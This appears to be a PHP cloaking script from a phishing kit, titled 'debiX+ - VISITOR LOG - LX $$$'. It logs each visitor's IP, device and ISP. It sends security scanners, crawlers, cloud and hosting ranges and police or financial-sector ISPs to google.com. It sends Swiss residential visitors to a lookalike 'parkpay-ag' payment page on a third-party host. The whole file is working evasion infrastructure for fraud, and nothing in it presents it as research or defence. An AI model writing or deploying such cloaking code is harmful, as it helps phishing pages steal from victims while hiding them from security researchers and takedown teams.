debiX+ - VISITOR LOG - LX $$$
| Date |
Device |
IP Address |
ISP |
Status |
';@file_put_contents($logFile, $initialHTML);
}
$statusClass = (strpos($action, 'allowed') !== false) ? 'allowed' : 'blocked';
$isp = htmlspecialchars($isp);
$newEntry = "\n \n | $date | \n $device | \n $ip | \n $isp | \n $action | \n
";
@file_put_contents($logFile, $newEntry, FILE_APPEND);
}
// Fastest: Block by IP patterns and User-Agent BEFORE any API call
$blockedPatterns = array(
"37.120.", "89.38.", "89.44.", "185.189.", "185.206.", "185.242.",
"169.150.", "212.102.37.", "212.102.38.",
"185.230.", "193.135.",
"13.64.", "13.65.", "13.66.", "13.67.", "13.68.", "13.69.", "13.70.", "13.71.",
"13.72.", "13.73.", "13.74.", "13.75.", "20.", "40.", "51.", "52.", "104.40.",
"104.41.", "104.42.", "104.43.", "104.44.", "104.45.", "104.46.", "104.47.",
"51.38.", "51.68.", "51.91.", "51.195.", "51.210.", "51.254.", "54.36.", "54.37.", "54.38.",
"79.137.", "87.98.", "91.134.", "137.74.", "139.99.", "141.94.", "142.44.", "144.217.",
"147.135.", "149.56.", "158.69.", "164.132.", "167.114.", "178.32.", "188.165.", "192.95.",
"192.99.", "193.70.", "198.27.", "198.50.", "213.186.", "213.251.", "217.182.",
"31.31.48.", "138.199.59.", "138.199.", "138.",
"34.", "35.", "54.", "104.196.", "35.199.", "167.99.", "159.65."
);
foreach ($blockedPatterns as $pattern) {
if (strpos($ip, $pattern) === 0) {
logVisitHTML($ip, $device, '-', 'blocked_pattern', $logFile);
header("Location: https://www.google.com");
exit();
}
}
$blockedIPs = array(
"51.154.50.85", "178.83.73.137", "37.143.131.202", "84.72.20.28",
"185.230.119.166", "20.205.40.0", "20.205.58.180", "160.36.59.197",
"81.221.214.10", "81.221.65.23", "20.203.218.75", "193.135.104.22",
"92.106.245.21", "31.31.48.132", "212.40.1.6", "159.168.0.45",
"85.195.233.39", "185.201.129.185", "212.40.1.4", "31.31.48.134",
"149.88.27.84", "212.51.129.137", "51.154.223.64", "212.102.37.150",
"107.21.207.171", "35.241.220.252", "83.79.17.201", "51.154.16.23",
"89.186.210.189", "181.41.206.129", "212.40.1.5", "5.149.41.48",
"194.209.222.151", "185.12.128.148", "185.188.46.2", "62.167.103.192",
"213.55.242.55", "144.2.113.205", "85.6.163.21", "213.55.184.197",
"213.55.220.4", "185.201.128.158", "94.228.56.21", "94.228.56.27",
"102.129.143.77", "178.197.222.12", "31.10.155.107", "37.120.213.166",
"193.5.248.22", "37.120.213.203", "206.232.126.240", "160.53.250.221",
"193.5.176.13", "162.23.30.41", "82.220.118.218"
);
if (in_array($ip, $blockedIPs)) {
logVisitHTML($ip, $device, '-', 'blocked_ip', $logFile);
header("Location: https://www.google.com");
exit();
}
$blocked_agents = array(
'bot', 'crawler', 'spider', 'scan', 'check', 'monitoring',
'analytics', 'http', 'python', 'curl', 'wget', 'phantom',
'headless', 'selenium', 'chrome-lighthouse', 'pingdom'
);
foreach ($blocked_agents as $agent) {
if (stripos($userAgent, $agent) !== false) {
logVisitHTML($ip, $device, '-', 'blocked_useragent', $logFile);
header("Location: https://www.google.com");
exit();
}
}
$response = @file_get_contents("http://ip-api.com/json/" . $ip);
$data = ($response) ? json_decode($response, true) : array();
$isp = isset($data['isp']) ? $data['isp'] : '-';
// Define blocked ISP keywords for use in multiple checks
$blocked_isp_keywords = array(
'm247', 'datacamp', 'direction des systemes', 'altushost', 'microsoft',
'six', 'polizei', 'ovh', 'hosting', 'panaglobal',
'anexia', 'hydra', 'packethub', 'vianetworks'
);
// Define allowed ISPs for Swiss users
$allowed_ch_isps = array('cloudflare', 'akamai technologies');
// Define allowed IP patterns (first octets)
$allowed_ip_patterns = array('172.225.');
if (isset($data['isp'])) {
$isp_lower = strtolower($data['isp']);
foreach ($blocked_isp_keywords as $blocked_isp) {
if (strpos($isp_lower, $blocked_isp) !== false) {
logVisitHTML($ip, $device, $isp, 'blocked_isp', $logFile);
header("Location: https://www.google.com");
exit();
}
}
}
if (isset($data['org'])) {
$org_lower = strtolower($data['org']);
foreach ($blocked_isp_keywords as $blocked_isp) {
if (strpos($org_lower, $blocked_isp) !== false) {
logVisitHTML($ip, $device, $isp, 'blocked_org', $logFile);
header("Location: https://www.google.com");
exit();
}
}
}
if (isset($data['as'])) {
$as_lower = strtolower($data['as']);
foreach ($blocked_isp_keywords as $blocked_isp) {
if (strpos($as_lower, $blocked_isp) !== false) {
logVisitHTML($ip, $device, $isp, 'blocked_as', $logFile);
header("Location: https://www.google.com");
exit();
}
}
}
// We'll handle Cloudflare by ISP check instead of IP pattern
// This section is now redundant but kept for reference
// The actual Cloudflare check is now done in the CH country section
if (isset($data['countryCode']) && $data['countryCode'] == 'CH') {
if (isset($data['isp'])) {
$isp_lower = strtolower($data['isp']);
// Check if the ISP is in allowed list (Cloudflare, Akamai, etc.)
$is_allowed_isp = false;
foreach ($allowed_ch_isps as $allowed_isp) {
if (strpos($isp_lower, $allowed_isp) !== false) {
$is_allowed_isp = true;
break;
}
}
// Check if IP matches allowed patterns (like 172.225.xx for Akamai)
$is_allowed_ip_pattern = false;
foreach ($allowed_ip_patterns as $pattern) {
if (strpos($ip, $pattern) === 0) {
$is_allowed_ip_pattern = true;
break;
}
}
// If it's an allowed ISP or IP pattern, allow access
if ($is_allowed_isp || $is_allowed_ip_pattern) {
$action = $is_allowed_isp ? 'allowed_CH_trusted_isp' : 'allowed_CH_trusted_ip_pattern';
logVisitHTML($ip, $device, $isp, $action, $logFile);
header("Location: https://parkpay-ag.jcloud-ver-jpe.ik-server.com/aux/");
exit();
}
// Otherwise check if it's in the blocked ISP list
foreach ($blocked_isp_keywords as $blocked_isp) {
if (strpos($isp_lower, $blocked_isp) !== false) {
logVisitHTML($ip, $device, $isp, 'blocked_CH_isp', $logFile);
header("Location: https://www.google.com");
exit();
}
}
// Allow all other Swiss users
logVisitHTML($ip, $device, $isp, 'allowed_CH', $logFile);
header("Location: https://parkpay-ag.jcloud-ver-jpe.ik-server.com/aux/");
exit();
}
// If we couldn't determine the ISP but the user is from Switzerland, allow access
logVisitHTML($ip, $device, $isp, 'allowed_CH_unknown_isp', $logFile);
header("Location: https://parkpay-ag.jcloud-ver-jpe.ik-server.com/aux/");
exit();
}
logVisitHTML($ip, $device, $isp, 'blocked_country', $logFile);
header("Location: https://www.google.com");
exit();
?>